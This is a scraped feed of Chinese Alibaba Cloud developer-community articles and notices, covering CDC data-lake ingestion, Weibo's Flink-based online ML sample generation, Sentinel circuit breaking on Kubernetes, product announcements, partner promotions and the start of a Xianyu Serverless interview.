    前面介绍了两种常见的CDC方案,各自都有一些缺点。阿里云E-MapReduce团队提供了一种新的CDC解决方案,利用自研的Streaming SQL搭配Delta Lake可以轻松实现CDC实时入湖。这套解决方案同时通过阿里云最新发布的数据湖构建(Data Lake Formation,DLF)服务提供一站式的入湖体验。

    5.png

    Streaming SQL

    Spark Streaming SQL在Spark Structured Streaming之上提供了SQL能力,降低了实时业务开发的门槛,使得离线业务实时化更简单方便。

    Spark Streaming SQL支持的语法如下:
    截屏2020-09-14 下午10.22.51.png

    下面以实时消费SLS为例:

    # 创建loghub源表
    spark-sql> CREATE TABLE loghub_intput_tbl(content string)
             > USING loghub
             > OPTIONS
             > (...) 
    # 创建delta目标表
    spark-sql> CREATE TABLE delta_output_tbl(content string)
             > USING delta
             > OPTIONS
             > (...);
    # 创建流式SCAN
    spark-sql> CREATE SCAN loghub_table_intput_test_stream
             > ON loghub_intput_tbl
             > USING STREAM;
    # 将loghub源表数据插入delta目标表         
    spark-sql> INSERT INTO delta_output_tbl SELECT content FROM loghub_table_intput_test_stream;

    Delta Lake

    Delta Lake是Databricks开源的一种数据湖格式,它在parquet格式之上,提供了ACID事务/元数据管理等能力,同时相比parquet具有更好的性能,能够支持更丰富的数据应用场景(如数据更新/schema演化等)。

    5.png

    E-MapReduce团队在开源Delta Lake基础上做了很多功能和性能的优化,如小文件合并Optimize/DataSkipping/Zorder,SparkSQL/Streaming SQL/Hive/Presto深度集成Delta等。

    15.png

    Streaming SQL+Delta Lake CDC实时入湖

    Spark Streaming SQL提供了Merge Into 的语法,搭配Delta Lake的实时写入能力,可以很方便的实现CDC实时入湖方案。

    17.png

    如上图所示,只需要SQL就能完成CDC实时入湖,细节步骤详见E-MapReduce文档

    阿里云最新发布的数据湖构建(Data Lake Formation,DLF)服务,提供了完整的一站式入湖解决方案

    ----

    更多数据湖技术相关的文章请点击:阿里云重磅发布云原生数据湖体系


    更多数据湖相关信息交流请加入阿里巴巴数据湖技术钉钉群
    数据湖钉群.JPG

    ]]>
    如何基于 Flink 生成在线机器学习的样本?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:曹富强(微博)

    在线机器学习与离线相比,在模型更新的时效性,模型的迭代周期,业务实验效果等方面有更好的表现。所以将机器学习从离线迁移到在线已经成为提升业务指标的一个有效的手段。

    在线机器学习中,样本是关键的一环。本文将给大家详细的介绍微博是如何用 Flink 来实现在线样本生成的。

    为何选择 Flink 来做在线的样本生成?

    在线样本生成对样本的时效性和准确性都有极高的要求。同样对作业的稳定性及是否容灾也都有严格的指标要求。基于这个前提,我们对目前较为流行的几种实时计算框架(Storm 0.10, Spark 2.11, Flink 1.10)进行了分析比较,结论如下:

    1.jpg

    因此,我们决定使用 Flink 来作为在线样本生成的实时流计算框架。

    如何实现?

    在线样本生成,简单描述一个业务场景:对用户的曝光数据和点击数据实时的做关联,关联后将数据输出到 Kafka 中,给下游的在线训练作业用。

    首先我们要确定两个数据流关联的时间窗口。这一步一般建议先离线对两个数据流的日志做关联,通过离线的方式对两份数据在不同的时间范围内做 join,来判断在线需要的时间窗口。比如业务接受的最低关联比例是 85%,并且通过离线测试确认 20 分钟内两个数据流可以关联 85%的数据,那么就可以采用 20 分钟作为时间窗口。这里的关联比例和窗口时间实际上是在准确性和实时性之间的一个 trade-off。

    确定时间窗口后,我们并没有使用 Flink 的 time window 来实现多个数据流的 join,而是选择采用 union + timer 方式来实现。这里主要考虑两点:第一、Flink 自带的 join 操作不支持多个数据流。第二、使用 timer+state 来实现,自定义程度更高,限制更少,也更方便。

    接下来,我们把样本生成过程细分为:

    ① 输入数据流

    一般我们的数据源包括 Kafka,Trigger,MQ 等。Flink 需要从数据源中实时的读取日志。

    ② 输入数据流的格式化和过滤

    读取日志后,对数据做格式化,并且过滤掉不需要的字段和数据。
    指定样本 join 的 key。例如:用户 id 和 内容 id 作 key。
    输出的数据格式一般为 tuple2(K,V),K:参与 join 的 key。V:样本用到的字段。

    ③ 输入数据流的 union

    使用 Flink 的 union 操作,将多个输入流叠加到一起,形成一个 DataStream。
    为每个输入流指定一个可以区分的别名或者增加一个可以区分的字段。

    ④ 输入数据流的聚合:keyby 操作

    对 join 的 key 做 keyby 操作。接上例,表示按照用户 id 和内容 id 对多个数据流做 join。
    如果 key 存在数据倾斜的情况,建议对 key 加随机数后先聚合,去掉随机数后再次聚合。

    ⑤ 数据存储 state + timer

    1. 定义一个Value State。
    2. keyby后的process方法中,我们会重写processElement方法,在processElement方法中判断,如果value state为空,则new 一个新的state,并将数据写到value state中,并且为这条数据注册一个timer(timer会由Flink按key+timestamp自动去重),另外此处我们使用的是ProcessingTime(表示onTimer()在系统时间戳达到Timer设定的时间戳时触发)。如果不为空则按照拼接的策略,更新已经存在的结果。比如:时间窗口内 用户id1,内容id1的第一条日志数据没有点击行为,则这个字段为0,第二条点击数据进入后,将这个字段更新为1。当然除了更新操作,还有计数、累加、均值等各种操作。如何在process里区分数据是来自曝光还是点击呢,使用上面步骤③定义的别名。
    3. 重写onTimer方法,在onTimer方法中主要是定义定时器触发时执行的逻辑:从value state里获取到存入的数据,并将数据输出。然后执行state.clear。
    4. 样本从窗口输出的条件有2个:第一,timer到期。第二,业务需要的样本都拼接上了。

    此处参考伪代码:

    public class StateSampleFunction extends KeyedProcessFunction<String, Tuple2, ReturnSample> {
        /**
         * 这个状态是通过过程函数来维护,使用ValueState
         */
        private ValueState state;
    
        private Long timer = null;
    
        public StateSampleFunction (String time){
            timer = Long.valueOf(time);
        }
    
        @Override
        public void open(Configuration parameters) throws Exception {
            // 获取state
            state = getRuntimeContext().getState(new ValueStateDescriptor<>("state", TypeInformation.of(new TypeHint< ReturnSample >() {})));
        }
    
        @Override
        public void processElement(Tuple2value, Context context, Collector< ReturnSample > collector) throws Exception {
            if (value.f0 == null){
                return;
            }
    
            Object sampleValue = value.f1;
            Long time = context.timerService().currentProcessingTime();
            ReturnSample returnSample = state.value();
            if (returnSample == null) {
                returnSample = new ReturnSample();
                returnSample.setKey(value.f0);
                returnSample.setTime(time);
                context.timerService().registerProcessingTimeTimer(time +timer);
            }
    
            // 更新点击数据到state里
            if (sampleValue instanceof ClickLog){
                ClickLog clickLog = (ClickLog)values;
                returnSample =(ReturnSample) clickLog.setSample(returnSample);
            }
            state.update(returnSample);
        }
    
        /**
         * @param timestamp
         * @param ctx
         * @param out
         * @throws Exception
         */
        @Override
        public void onTimer(long timestamp, OnTimerContext ctx, Collector< ReturnSample > out) throws Exception {
            ReturnSample value = state.value();
            state.clear();
            out.collect(value);
        }
    }

    ⑥ 拼接后的日志格式化和过滤

    拼接后的数据需要按照在线训练作业的要求对数据做格式化,比如 json、CSV 等格式。
    过滤:决定什么样的数据是合格的样本。例如:有真正阅读的内容才算是可用的样本。

    ⑦ 输出

    样本最终输出到实时的数据队列中。下面是实际的作业拓扑和运行时状态:

    1-2.jpg
    1-3.jpg

    整个样本拼接过程的流程图:

    1-4.jpg

    StateBackend 的选取

    使用 RocksDB/Gemini 作为 state 的 Backend 的优势和建议:

    我们用大数据对 memory 和 RocksDB,Gemini 做了实验对比,结果显示 RocksDB 和 Gemin 在数据处理,作业稳定性和资源使用等方面比 memory 更合理。其中 Gemini 的优势最为明显。

    此外,如果是大数据量的 state,建议使用 Gemini + SSD 固态硬盘。

    样本的监控

    1. Flink 作业的异常监控

    • 作业失败监控
    • Failover 监控
    • Checkpoint 失败的监控
    • RocksDB 使用情况的监控
    • 作业消费 Kafka 的 Comsumer Lag 的监控
    • 作业反压的监控

    2. 样本输入端 Kafka 的消费延迟监控

    3. 样本输出端 Kafka 的写入量的监控

    4. 样本监控

    • 拼接率监控
    • 正样本监控
    • 输出样本格式的监控
    • 输出标签对应的值是否在正常范围
    • 输入标签对应的值是否为 null
    • 输出标签对应的值是否为空

    样本的校验

    样本生成后,如何验证数据是否准确

    1. 在线和离线的相互校验

      将在线样本从输出的 Kafka 中接入到 HDFS 上离线存储。并按照在线 join 的时间窗口来分区。
    2. 用同等条件下生成的离线样本和在线样本做对比
    3. 白名单用户的全流程校验

      将白名单用户的日志和样本结果存入 ES 等实时数仓中,来做校验。
      

    故障的处理

    样本异常对线上模型训练的影响非常大。当发现异常报警时,首先要做的是向在线模型训练作业发送样本异常的报警。收到报警信息后,模型停止更新。从而避免影响模型线上效果。

    普通意义的业务故障解决后,丢弃原来的数据,所有输入日志流从最新的时间点开始消费并生成新的样本即可。重要业务需要重置输入日志流的 Kafka offset 从故障时间点开始重新生成样本数据。

    平台化

    通过平台化对样本生成的流程做出严格的规范非常重要。在平台化的过程中,需要提供简单通用的开发模板以提高作业开发效率;提供平台化的作业监控和样本指标监控框架,避免重复造车;提供通用的样本输出落地策略,和在线/离线校验策略,更便捷的为业务方服务。

    微博基于 Flink 搭建的在线样本生成平台架构,如图:

    1-5.jpg

    UI 页面,如图:

    1-6.jpg
    1-61.jpg

    基于平台化开发,用户只需要关心业务逻辑部分即可。需要用户开发的有:

    1. 对应输入数据的数据清洗逻辑
    2. 样本输出前的数据清洗逻辑

    其余的在 UI 上配置即可实现,具体有:

    1. 输入 Kafka 的配置信息及对应数据清洗的 UDF 类
    2. 样本拼接的时间窗口
    3. 窗口内对字段的聚合操作
    4. 样本输出的 Kafka 配置信息及输出前数据清洗和格式化的 UDF 类

    资源情况由平台方审核并配置。完成后,自动生成并提交作业。

    1-7.jpg

    作业提交后:

    1. 平台会提供如前所述的作业相关监控,如下:

    ■ Flink 作业的异常监控

    作业失败监控
    Failover 监控
    Checkpoint 失败的监控
    RocksDB 使用情况的监控
    作业消费 Kafka 的 Comsumer Lag 的监控
    作业反压的监控

    ■ 样本监控

    拼接率监控
    正样本监控
    输出样本格式的监控
    输出标签对应的值是否在正常范围
    输入标签对应的值是否为 null
    输出标签对应的值是否为空

    2. 平台会自动将数据落盘,存储到HDFS上。方便离线验证或者离线训练。

    3. 用户只需将精力放到样本的验证上即可,由平台方保证作业的稳定性。

    作者介绍:

    曹富强,微博机器学习研发中心-高级系统工程师。现负责微博机器学习平台数据计算/数据存储模块,主要涉及实时计算 Flink、Storm、Spark Streaming,数据存储Kafka、Redis,离线计算 Hive、Spark 等。目前专注于 Flink/Kafka/Redis 在微博机器学习场景的应用,为机器学习提供框架,技术,应用层面的支持。

    ]]>
    【其他】阿里云SCDN改版通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【SCDN】【产品改版通知】

    安全加速SCDN产品将于2020年10月1日起进行产品改版,老版本SCDN将停止续费,阿里云提供了优惠或免费的迁移方案,建议您迁移到新版SCDN。新版SCDN产品详情点此查看。

    新老版本差异:

    老版SCDN主要提供CDN分发+DDoS高防的产品能力,最高提供联通,电信双线300G DDoS防护能力。

    新版SCDN将主要提供安全CDN带宽,独享资源,并提供全网100W QPS,单点6W QPS能力,同时支持频次控制和流量管理等功能。

    老用户迁移方案,详情请参考

    如有任何疑问欢迎加入 SCDN产品改版钉钉群 34125539 咨询

    ]]>
    【其他】9月11日ECS第七代高主频实例公测通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【ECS第七代高主频实例】【公测通知】

    公测时间:2020年9月11日至10月31日

    公测内容:阿里云中国站(www.aliyun.com)ECS将开放新增第七代高主频实例产品公测,首次开放地域包括杭州、广州、乌兰、河源,后续会有更多地域开放。

    七代高主频实例产品是依托第三代神龙架构,采用intel最新一代cooper lake处理器,可以提供3.8Ghz的全核睿频,为用户提供稳定可靠的超高性能。实例的规格名称为hfg7/hfc7/hfr7系列,具体的产品规格参数及使用场景请详见官方文档介绍。购买方式及售卖价格请参考相关售卖地域页面高主频产品。

    ]]>
    【其他】Flink全托管版商业化通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【Flink全托管服务】【商业化通知】

    Flink全托管服务将于2020.9.15号开始结束公测进行商业化收费,为了保证您业务平稳过渡,请各位用户评估业务影响。针对在公测期间申请公测时间过长的用户,我们将免费服务期限统一限制为2020.9.30 23:59:59,特此通知,如有其他问题,请通过工单联系我们

    ]]>
    【其他】9月16日数据湖分析产品更名通知 Fri, 02 May 2025 09:39:03 +0800 【阿里云】【数据湖分析】【产品名称变更通知】

     变更时间:2020年9月16日

     变更内容:自2020年9月16日0时起,阿里云产品“数据湖分析”名称正式变更为“云原生数据湖分析”。如有任何问题,可点击联系我们进行咨询反馈

    ]]>
    助力企业数字化转型 | 斑羚在线、环宇数通、乘云科技入选阿里云原生合作伙伴计划 Fri, 02 May 2025 09:39:03 +0800 近日,北京三家重量级伙伴“斑羚在线、环宇数通、乘云科技”喜获阿里云正式授牌认证。自从2019年加入“云原生合作计划”以来,在云原生技术方面,双方开展了深度合作,推进企业进行数字化转型,达成生态共赢。而在此之前,这三家企业与阿里云已经建立了深厚的合作基础,在“新基建”的战略背景下,基于阿里云丰富全面的云原生产品、成熟的云计算技术及平台支撑能力,斑羚在线、环宇数通、乘云科技将为华为区域的企业级用户提供快速可靠、个性化的云原生技术解决方案,造福华北区的广大阿里云客户。

    这么优秀的伙伴,是怎样快速发展起来的呢?让我们逐一为大家揭示。

    01 斑羚在线:一站式全方位服务

    北京斑羚在线网络科技有限公司提供基于阿里云的专业软件开发服务,响应及时、服务精细、团队稳定,深耕IT服务行业10余年,是客户认可的“软件开发明星企业”,更是值得依赖的云服务合作伙伴。作为新零售行业的践行者,斑羚在线独立开发运营的校园新零售项目“零食盒子”,已覆盖全国26省市,超300所高校,触达500万人次高校人群,每日消费笔数达4万以上。除新零售行业,直播领域也是近年来斑羚在线的主攻方向,公司先后向用户提供了“LiveMall电商直播” “螃蟹横屏演艺直播”等解决方案,助力企业创建属于自己的直播+购物平台,转型线上逆市增长。

    此次加入阿里云原生合作伙伴计划,斑羚在线将专注于以阿里云产品和先进技术为核心,向客户提供专属定制开发,按需定制,集群部署,以及领先的技术、完备的解决方案、完善的服务及成熟的渠道等一站式全方位服务。

    112.png

    斑羚在线获得“云原生合作计划伙伴”授牌

    02 环宇数通:助力企业轻松不如云时代

    北京环宇数通科技有限公司成立于2009年,核心成员来自于国内顶尖安全厂商与集成商。2013年研发出自主知识产权数通云产品,2015年环宇数通正式进入阿里云生态体系大家庭,通过3年时间的努力奋斗、群策群力共同打造了一支优秀的云计算、大数据服务团队。2016年成为阿里云全国授权服务中心,2018年获得ISO27001国际安全资质,2019年成为国信安全合作伙伴。

    image.png

    基于阿里云原生全面的技术和产品,环宇数通为客户提供电商解决方案、App解决方案、金融解决方案、游戏解决方案。以某互联网金融公司为例,得益于微消息队列 MQTT 的多协议、多语言和多平台的支持能力,目前 MQTT 广泛应用于移动互联网以及物联网领域,覆盖移动直播、车联网、金融支付、智能餐饮、即时聊天等多种应用场景。相比使用HTTP等其他协议,客户使用消息队列RocketMQ + 微消息队列 for MQTT的组成方案能节省至少2人月的开发成本,还能通过这套方案支撑起对于安全和可靠性要求极高的金融级业务场景,并轻松扩展到百万组别的客户端。

    244.png

    环宇数通获得“云原生合作计划伙伴”授牌

    03 乘云科技:成立6年,营收破亿

    乘云科技成立于2014年,是基于阿里云生态的专业的云计算业务供应商,为泛行业客户提供云计算资源转售、云服务技术支持、云产品渠道生态共创以及云业务IT咨询等。成立六年来,发展迅速,2019年营业收入突破一亿元。

    image.png

    乘云总部设立在北京,在沈阳、成都、武汉、深圳分别设有分公司。在河北的邢台设有50多人的外呼中心。乘云的理念就是用普惠的云计算、云服务、服务于全国的云计算用户。针对云上技术服务和上云的技术服务,乘云有一系列的解决方案,基于阿里云完善的基础设施,整合云上PaaS层的调配资源,完善客户的技术架构的同时,协助客户提供优质的云上管理方案。

    image.png

    乘云科技获得“云原生合作伙伴计划”授牌

    乘云作为阿里云优质的服务商,提供全站的上云解决方案,全流程的技术协助、云上便捷的运维管理能力,上云企业的技术培训指导,面对客户新需求的定制化的架构服务,以及面对中大型企业主流的混合云架构的落地都是具备成熟的闭环能力的。

    随着云计算的全面到来,普通的创业者也能拥有和500强企业一样的计算资源。创业公司像飞机,速度够快才能起飞,通过现有的云端资源才能更快的让产品落地。通过阿里云,普通的创业者也能和大企业同台竞争,让创业进入快消时代。

    在企业数字化转型加速的浪潮下,越来越多的企业开始探索云原生架构如何落地。通过云原生,企业可以最大化使用云的能力。阿里云将与合作伙伴携手,通过全面丰富的云原生技术和产品,激发更多企业在云原生时代的生命力。

    点击:云原生合作伙伴计划,了解更多云原生合作伙伴计划细节和加入详情。

    ]]>
    阿里云 SAE 携手云效助力「石家庄掌讯」持续交付、降本提效 Fri, 02 May 2025 09:39:03 +0800 背景

    石家庄掌讯信息技术有限公司创立于2009年,是一家提供企业信息化咨询、创新型软件产品、电商代运营服务,标准化管理、快速发展的高新技术企业。当前公司正处于企业互联网市场突破转型重要阶段,希望将更多精力转移到业务创新,提升开发和交付效率,低成本试错。因此选择一套低门槛开箱即用的持续交付、快速部署&运维平台尤为重要。

    面对的挑战

    • 组织、人员权限管理复杂:
      Jenkins的权限管理独立一套,与其它系统不能很好的对接,维护成本非常高。
    • 好的工程实践、流程规范不容易复用,质量更无法保证:
      代码开发过程中加入了阿里巴巴P3C规范,与集成工作流无打通,不得不依赖人工介入的效果,当项目的时间紧,任务重,往往执行不到位,效果无法保证,形同虚设。代码质量很难保证。
    • FTP手工发布效率慢,Jenkins需要编写大量的脚本,降本提升效率成为了瓶颈:
      公司在很长一段时间在使用Jenkins作为自动化部署工具,Jenkins易用的插件化模式和灵活的流水线脚本编写能力是我们一直使用他的原因。不过对于我们这种0运维人员的小团队来说,一些平台细小的不便性也会团队效率带来很大的负面影响。Jenkins的流水线脚本编写维护的繁琐性以及第三方平台(服务)与Jenkins整合的复杂度都给我们带来不小的麻烦。
    • 缺少专职运维人员和微服务改造实战经验,研发运维效率不高:
      公司未设置专职运维人员,在做业务创新同时,微服务架构同步改造进行中。采用自建微服务架构+APM,技术门槛和人力不足很难在短时间成功落地。急切需要一条快速上手的平台支撑,需要最大限度屏蔽底层IaaS, 容器,以及常用微服务套件的学习成本。
    • 测试开发环境和生产环境的闲置计算资源较高:
      长期保有固定的IaaS资源,单台ECS单部署应用,导致资源利用率很低,存在较多的闲置浪费。

    1597802958345-20d3d343-c3f4-49ee-99bd-4805d7a901e6.png

    架构图

    解决效果

    总体上来说,掌讯信息公司在与云效&SAE共建之后,通过Codeup自动化代码检查提升了代码质量,降低了生产的故障,FLow自动化流水线、SAE的接入不但降低了成本,同时提升了交付效率。

    1. 降成本:

    零成本投入提高质量管理能力和持续交付能力
    免费使用的codeup代码库让我们节省了自建git代码库的成本,codeup中集成的代码审查和安全审查模块又让我们节省了质量管理的投入成本。免费的流水线flow让我们节省了原本在jenkins中投入的环境成本。这些还只是节省的有形成本,对于平台整合后效率的提升所节省的成本更是不可估量。

    低成本高质量玩转微服务架构
    对于我们这样的小团队想要玩转微服务架构一直是一个可望不可即的事情,直到发现了阿里云的SAE(Serverless应用引擎)产品,SAE(Serverless应用引擎)节省了自建微服务架构的ECS成本。基于秒级弹性能力,无需长期保有固定资源,按需启停和自动弹性、按分钟计费,极大的提升了资源利用率。使用SAE(Serverless应用引擎)后,公司单从硬件成本上就节省了50%。

    2. 提效率:

    SAE,从0到1的高效体验
    SAE 提供了应用托管和应用监控的开箱即用的体验,帮助我们关注业务开发而非底层资源的运维,节省了大量的人力成本。目前,我们通过 SAE 上线了 5 个核心业务:商品中心、用户中心、销售中心、采购中心和库存中心。

    SAE,0改造使用Serverless技术
    SAE实现了微服务应用的无缝迁移,WAR/JAR无需容器化改造直接部署,这也是SAE区别其它Serveless产品的重要优势,平滑迁移企业在线应用。

    云效codeup代码库,加速你的code review
    在codeup代码库中code review是在每一次commit后自动进行审查,和我们之前的集中时间,集中人力做code review工作相比,分散在commit后的自动审查模式更节约时间,并且自动化的触发模式减少了人为参与产生误判的可能性。

    云效flow,高易用性,高集成性
    使用云效flow产品后很多问题迎刃而解,可视化的流水线配置让之前繁琐的脚本编写工作一去不复返。flow高度集成阿里云产品线,在流水线flow中轻松集成我们在阿里云使用的SAE环境。我们曾尝试让一名有3年工作经验的普通的开发人员在flow中构建一个java测试应用部署的流水线,结果他在没有查看任何文档的情况下很快的完成了流水线的配置工作。这些体验都让我们切身感受到flow产品的高易用性和高集成性。

    3. 提升质量,减少故障:

    一提到流量增长,大家第一时间可能想到的就是加机器加带宽,但往往这个时候加机器已经来不及了。以往我们都是提前预估峰值,按峰值保有ECS资源,但经常出现容量预估不准的情况(比如资源浪费或资源不足),更严重的是会影响系统的SLA。通过SAE的秒级自动弹性,我们可以轻松的动态扩容应对峰值大考,峰谷时按需自动缩容。

    以前团队中的code review工作只能指定专人在合并代码后执行审查任务,并根据生成的审查报告统一对问题进行修订,在使用云效codeup代码库后,代码审查工作被分配在每次commit后自动执行,以前统一的审核时间被分配在团队中每个人commit代码后自动执行,不但减少了人员参与的人力成本而且减少了code review工作执行的时间成本,大大提高了工作效率。由于整个code review工作提前到了代码commit阶段,将发现并解决代码潜在问题的阶段提前到了代码合并之前,这样就减少了在后续环节中出现遗漏问题的可能性,这里不得不提一下codeup审查代码阶段包含的敏感信息和依赖包漏洞扫描功能,这两个在codeup中自带的安全扫描功能,不但调高了代码质量的安全性,而且潜移默化的提高了团队的安全意识。

    对比 原来 现在
    代码规范评审 代码评审环节滞后,人为控制环节多。 commit自动化评审
    代码安全评审 缺失安全评审工作 commit自动化安全评审
    发布方式 Jenkins手工编写流水线脚本 高度可视化操作--简单
    Jenkins通过API方式集成阿里云产品(SAE) 高度集成阿里云产品(SAE)--便捷
    分布式环境建设 购买ECS设备构建环境 SAE无需购买ECS,按资源使用量弹性付费
    分布式环境运维 自建运维环境,集成多种运维工具 SAE提供统一运维平台,高度集成阿里云运维相关产品。

    结语

    企业创新要做的是成长速度快于消费者需求变化的速度,所以「掌讯信息」深感依靠自身摸索固然也可以持续提升能力,但面临的挑战要求能力的提升也必须更快、更好。在寻求提升开发和交付效率,低成本试错中,「掌讯信息」发现阿里经过数年互联网研发实战,已经总结出了一套高效能的研发思想、流程及工具,那就是阿里云SAE+云效。

    持续交付、降本提效是一个很大的主题,一篇文章要讲透是不够的,只是简单分享了我们在这个过程中遇到的几个关键问题。「掌讯信息」在实践中其实都在摸着石头过河。希望大家可以多交流,共同探索互联网交付效率的成功模式。

    最后,感谢 「SAE + 云效」 这两款工具及官方团队给予我们的支持,希望在未来更加深度的合作中,「掌讯信息」和 「SAE + 云效」 都能为更多团队的交付效率提供更多更好的经验。

    作者介绍
    乔亚浩,2009年加入石家庄掌讯信息技术有限公司,从业务开发至产品管理,现任职「掌讯企业智能服务部主管」。先后承担多次技术攻坚及推动技术演进:前端混合开发技术落地,产品后端微服务化改造、服务自动化构建及容器化部署、云效CI/CD落地等。

    ]]>
    SpringCloud 应用在 Kubernetes 上的最佳实践 — 高可用(熔断) Fri, 02 May 2025 09:39:03 +0800 前言

    阿里巴巴十多年的双十一,锤炼出来了一套业界领先的高可用技术,有一些已经商业化(云产品 PTS、AHAS),也有的开源了如:Sentinel、ChaosBlade。我们这一系列的高可用章节也主要介绍这方面的内容。今天介绍熔断部分,即开源产品 Sentinel 的核心能力。

    问题定义

    在一个常见的分布式应用中,一个请求先通过终端到达 Gateway,再经过防火墙和网络负载均衡,其中还包括调用下游的其它服务和第三方应用,才能到达前端网络服务;如下图所示。

    1.png

    和这样一个架构一样,大家可能也会遇到如下的一些熟悉的 Case :

    • 瞬间洪峰流量导致系统超出最大负载,load 飙高,系统崩溃导致无法正常提供服务。
    • “黑马”热点数据击穿缓存,DB 被打垮,挤占正常流量。
    • 调用端被不稳定服务拖垮,线程池被占满,导致整个调用链路卡死甚至系统雪崩
    • ......

    这些不稳定的场景可能会导致严重后果。大家可能想问:如何做到均匀平滑的用户访问?如何预防流量过大或服务不稳定带来的影响?这时候我们就要请出微服务稳定性的法宝 —— 高可用流量防护,其中重要的手段就是流量控制和熔断降级,它们是保障整个系统稳定性重要的一环。

    流量控制

    流量是非常随机性的、不可预测的。前一秒可能还风平浪静,后一秒可能就出现流量洪峰了(例如双十一零点的场景)。然而我们系统的容量总是有限的,如果突然而来的流量超过了系统的承受能力,就可能会导致请求处理不过来,堆积的请求处理缓慢,CPU/Load 飙高,最后导致系统崩溃。因此,我们需要针对这种突发的流量来进行限制,在尽可能处理请求的同时来保障服务不被打垮,这就是流量控制。

    2.png

    熔断降级

    一个服务常常会调用别的模块,可能是另外的一个远程服务、数据库,或者第三方 API 等。例如,支付的时候,可能需要远程调用银联提供的 API;查询某个商品的价格,可能需要进行数据库查询。然而,这个被依赖服务的稳定性是不能保证的。如果依赖的服务出现了不稳定的情况,请求的响应时间变长,那么调用服务的方法的响应时间也会变长,线程会产生堆积,最终可能耗尽业务自身的线程池,服务本身也变得不可用。

    3.png

    Spring Cloud 中如何做熔断?

    在原来的 Spring Cloud 产品族中,有自带的熔断组件 Hystrix ,是 Netflix 公司提供的一个开源的组件,提供了熔断、隔离、降级的这些特性,不过 Hystrix 在 2018 年 11 月份开始,就不再迭代开发,进入维护的模式。不过好消息是也就是这一年开源了 Spring Cloud for Alibaba 产品族,其中的 Sentinel 完美的对 Hystrix 做了补充,下面针对 Sentinel 做一些基本介绍。

    Sentinel 工作原理?

    Sentinel 以资源流量(URL、线程、本地函数、Dubbo服务等)为切入点,根据用户输入的规则,自适应的做到流量控制、熔断降级、系统负载保护等多个维度,全方位的保障系统的稳定性。并提供了一套具备丰富的应用场景、完备的实时监控、广泛的开源生态、完善灵活的 SPI 扩展点的完美的高可用解决方案产品,一个基本的原理介绍图如下,详细介绍请参考官方文档

    4.png

    在使用上,针对主流框架默认提供自动适配的能力来定义需要保护的资源,并提供设施对资源进行实时统计和调用链路分析。同时,Sentinel 也提供开放的接口,方便您自定义并改变规则。

    快速使用 Sentinel 的方式

    除了在开源提供的方案之外,Sentinel 已经以多种形态进入到了各种云产品的组合解决方案中,列举如下:

    一、在 AHAS 中使用

    Sentinel 现在已经是阿里云云产品 AHAS 的重要能力,使用方式请参考官方文档,相比开源的方式接入,云产品主要省去了繁琐的配置,提供了更快的接入方式,以及更友好的产品管控界面,以及更强大的能力;当然除此之外,最重要的是在接入和运行的过程中,都可以获得原厂同学的直接的支持。

    二、在容器服务 Kubernetes 集群中使用

    在容器服务中我们目前做到了纯白屏和云原生的方式进行安装,使用方式请参考官方文档来安装所需的 pilot,在集群中安装完 pilot 之后,会自动选择集群中打上了相应 AHAS 注解的 POD 进行 Sentinel Agent 的挂载,配置如下:

    annotations:
      # 是否开启 AHAS 应用流控插件, on、true 表示开启, off、false表示关闭
      ahasPilotAutoEnable: "on"
      # 服务名称,会显示在 AHAS 控制台上
      ahasAppName: "<your-service-name>"

    三、在 EDAS 中使用

    在 EDAS 中,如果选择的是部署在容器服务K8s集群或 Serverless K8s 集群中的应用支持通过重新部署来接入AHAS,并可在EDAS内嵌的监控页面中实时监控流量规则,所有的配置能力都能通过一个控制台白屏化操作完成,全面可视化地保障您的应用可用性,使用方式可以参考文档

    结尾

    本文简单介绍了高可用流量防护的背景和手段,在熔断的场景下,我们理解十年的积累打磨了高可用产品 AHAS 来为 Kubernetes Spring Cloud 应用保驾护航。除此之外,AHAS 高可用防护还提供以下能力:

    • 针对不稳定弱依赖的熔断降级能力,支持慢调用比例/异常比例策略,支持渐进式恢复策略。
    • 机器维度的系统自适应保护,智能化调配系统流量
    • 全自动托管、高可用的集群流量控制
    • 针对 Nginx 网关及 Spring Cloud Gateway、Zuul 等 API Gateway 的网关流控
    • 针对 Istio/Envoy 集群的 Mesh 高可用防护

      需要注意的是,流控降级的配置是需要结合容量规划、依赖梳理来做的。我们可以借助阿里云 PTS 等压测工具对我们的服务进行全链路压测,了解每个服务的最大承受能力,来确定流控和熔断降级的阈值。同时,业务系统需要具备实时监控的能力,以便实时地根据流量情况做出相应的限流降级策略调整,我们下面的章节中将介绍这一利器。
    ]]>
    闲鱼靠什么支撑起万亿的交易规模?| 云原生Talk Fri, 02 May 2025 09:39:03 +0800 image.png
    造梦者 | 王树彬,阿里巴巴闲鱼架构负责人

    2014年6月28日,阿里即将赴美上市的这一年,西溪园区的一个茶水间里,28个人日夜赶工了三个月后,上线了一个闲置交易平台——闲鱼。今年5月份,在阿里巴巴的年报中对外公布了闲鱼的数据:GMV2000亿元,同比增长100%,每天在线卖家数超过3000万人。 闲鱼已经从一个茶水间创业的内部小产品,变成了在C2C领域的领先平台。

    据艾媒数据估计,2020年全年的二手物品交易市场的规模将达到万亿以上。线上交易的繁荣亟需技术架构做相应的调整、演进才能支撑业务的快速发展。闲鱼对于阿里而言,有比营收更重要的意义,那就是创新。创新不只体现在业务模式上,闲鱼的技术架构也在探索最新的方向——向Flutter化、云原生/Serverless化发展。

    2009年,从浙江大学毕业的王树彬,在UT斯康达工作了三年后,加入阿里巴巴。2017年,王树彬首次将Flutter引入到闲鱼,从2018年开始,王树彬带领闲鱼技术团队在下一盘更大的棋:布局Serverless。颠覆性创新往往是从边缘性的地方出现,而向云原生化/Serverless化升级,对于闲鱼是一条全新的路,但趟出了这条路,对于很多做线上交易的公司有着巨大的借鉴意义。

    今天,我们就一起聊聊闲鱼的云原生故事。

    01 为什么要做Serverless?

    闲鱼是依托阿里电商体系的前台型业务,有非常独特的业务特点和用户诉求,在底层依托阿里系统的同时,在表现层和业务层需要探索适合闲鱼的、并且更加快速灵活的研发体系。

    按照传统的开发方式,闲鱼原有的 IT 系统会面临很多痛点,比如:

    1、客户端交互层、服务端业务胶水层、领域层边界划分不清晰,这就导致很小的业务需求就需要整条链路的同学参与,协同成本高,开发调试周期长。

    2、服务端存在巨型应用,研发耦合、发布耦合、运维耦合严重,甚至系统稳定性也受到很大挑战,单个业务问题往往会影响整个应用。

